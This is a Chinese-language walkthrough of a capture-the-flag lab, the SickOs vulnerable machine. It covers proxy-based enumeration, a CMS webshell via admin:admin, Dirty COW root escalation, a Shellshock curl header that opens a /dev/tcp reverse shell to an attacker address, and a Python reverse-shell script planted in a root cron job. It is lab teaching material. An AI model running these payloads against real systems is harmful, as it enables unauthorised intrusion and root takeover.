资讯详情

【网络安全】sick0s 靶场实践之getshell

主机发现

arp-scan -l 

目标ip为192.168.1.12

端口扫描

nmap -sV -sC -T4  192.168.1.12  -p-  -sV:查看端口对应服务 -sC:使用默认脚本测试 -T4:快速测试 -p-:全端口扫描 

扫描完成后,试着访问3128端口

在这里卡了很长时间,根据他的左下角版本信息搜索漏洞,真的有相应的版本绕过访问限制,但试了很长时间没有成功,这里不考虑他的功能,真的不能通过,看看他的writeup才知道这个端口是原来的http-proxy代理商应该通过这个端口访问他web服务。

用proxyfox配一下代理

目录爆破

再次访问,发现正常显示,但页面非常简单,目录爆破

dirb http://192.168.1.12 -p 192.168.1.12:3128   # -p 是指定代理  

可见一个connect,它可以直接下载py文件,内容如下

其实他是提权的关键,但是我没用,还是因为脑子笨,觉得他有问题但是找不到办法。

再访问一下robots.txt

看到这个更兴奋,访问

1.网络安全学习路线 2.电子书(白帽子) 3.安全厂内视频 4、100份src文档 5.常见的安全面试题 6、ctf比赛经典题目分析 7.全套工具包 8.应急响应笔记

cms漏洞getshell

这是个cms,我以前没听说过。这里省略了在这个页面上找到漏洞的过程,找到了孤独

使用searchsploit 找一下有没有漏洞吧

真的,凭借敏锐的嗅觉(其实也是因为排名第一),我直接查看上图红框中的内容

文件写得很清楚。让我们直接访问这个链接,看看是否有这个界面。

有一个登录界面,剩下的感觉太顺利了。

直接登录界面,admin:admin登陆进去

然后是基础exploit中的创建文件然后访问执行

shell.php是我创建的文件,然后点击文件编辑

尝试执行以下系统命令,看能否成功

先向shell.php写入命令

成功执行

然后写一句话,蚁剑连接

这里还要注意蚁剑的配置

权限提升

从蚁剑进入终端,看看有没有suid提权或者sudo提权

好像没有,这里直接上传一个linux-suggest他可以用文件检测系统的漏洞

改名为方便s.sh,给他操作权限并执行

chmod 777 s.sh ./sh 

执行后有很多漏洞,但只有一头脏牛提权

这里简单说一下脏牛提权

然后上传脏牛提权文件(蚂蚁剑可以上传),然后编译执行

gcc -pthread dirty.c -o exp3 -lcrypt #编译dirty.c并保存为文件exp3 ./exp3 123 #执行exp3后面跟着更改后的密码,脚本默认将原始密码root更改用户名firefart,因此,一旦提权成功,直接su firefart 然后输入新更改的密码切换root用户 

执行这些命令后,可以看到/etc/passwd中的root用户信息已经改为firefart,后面是我们刚刚更改的密码123的加密值

这里发现无法通过su切换用户,但可以通过ssh连接

然而,有一个问题是,提权完成后,目标机会在10秒左右崩溃,但我仍然以超高的手速查看。root目录下的flag

这是我的目标过程,有点狗,觉得这不是作者计划解决问题的想法(至少那里不是),毕竟,机器很快就会崩溃,但我不想再试一次,然后看看别人wp,发现是我前面发现的那个connect.py提权,而且getshell是通过shellshock(破壳)实现,在这里顾一下大佬们的过程。

到配置http-proxy基本相同,然后使用nikto扫描网站

nikto -useproxy http://192.168.0.71:3128 -host http://192.168.0.71    #-userproxy 指定代理 在公司复现ip换了 

在这里检测/检测/cgi-bin/status可能存在于这里shellshock这里简单了解一下漏洞。

漏洞原理

目前的bash使用的环境变量是通过函数名称调用的,导致以(){开头定义的环境变量的漏洞ENV中解析成函数后,Bash执行没有退出,而是继续分析和执行shell命令。其核心原因是在输入过滤没有严格限制边界,也没有做出合法化的参数判断。

使用curl 测试是否有漏洞

curl --proxy 192.168.0.71:3128 -H  'x: () { :;};a= `/bin/id`;echo $a  ' http://192.168.0.71/cgi-bin/status 

没有回显id,不过返回了系统信息,尝试一下反弹shell

首先在本机打开监控

然后执行以下命令反弹shell

 curl --proxy 192.168.0.71:3128 -H  'x: () { :;};  /bin/bash -i >&  /dev/tcp/192.168.0.48/8888 0>&1 ' http://192.168.0.71/cgi-bin/status 

反弹成功

因为connect.py可疑的是,它的所有者是root,但是任何用户都可以读写执行

在这里查看计划任务,linux计划任务存储/etc/cron*/文件中,

/etc/cron.hourly/ 存储在目录中的任务是系统每小时可执行脚本

/etc/cron.daily/ 存储在系统每天要做的任务中的脚本

/etc/cron.weekly/ 存储在系统每周要做的任务中的脚本

/etc/cron.monthly/ 目录下存放的是系统每月要做的任务可执行脚本

这些都是可执行的脚本,不是cron配置文件,crond服务通过run-parts 工具调用执行这些脚本 除了上述存储定时任务的脚本外,还有一个重要的文件cron.d,他是我们解决问题的关键。它的作用如下

当我们想/etc/crontab。但一般不建议/etc/cron.d目录是为了解决这个问题而创建的。

例如,我们可以添加定期备份任务:在/etc/cron.d在目录下新建文件backup.sh,内容如下:

# m h dom mon dow user command * 1 * * * root /sbin/mon_zetc_logtar.sh 

cron执行过程时,会自动扫描目录下的所有文件,并根据文件中的时间设置执行后续命令。

cron执行时,即读取三个地方的配置文件:一是/etc/crontab,二是/etc/cron.d目录中的所有文件,三是每个用户的配置文件

因此,我们使用以下命令查看相关计划任务

ls -al /etc/cron* 查看etc所有这些都在目录下cron开头的文件 

最终在cron.d中的automate找到关于connect.py的信息

从左到右分别代表上图框中的分数,时间、日、月、周,这里的五星表示每分钟都会执行。

所以我们可以得出这个结论connect.py每分钟root用户执行,我们可以修改普通用户的身份。有几种方法可以查看它flag文件了,疑使用python os.system执行命令反弹shell,也可以直接使用python反弹shell,也可以给root目录增大权限所有用户都可以访问,甚至修改etc/passwd中用户的权限,这里我们就用反弹shell的形式提权。

但是我这里没办法直接使用vim修改connect.py,这样他会断开,使用python的pty获得相对稳定的shell还是没办法使用vim编辑,我这里直接在我攻击机上先写好代码(shell.py),使用wget获取下载到靶机。

python代码如下

#!/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.15",8888))
os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

然后在攻击机当前路径开启http服务

在靶机使用

wget获取python脚本

使用cat命令将shell.py复制到connect.py中

然后断开连接,重新在攻击机开启监听 8888端口,等了半分钟,成功反弹shell

查看flag

这个靶场到此结束!

标签: sick安全继电器ue12

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台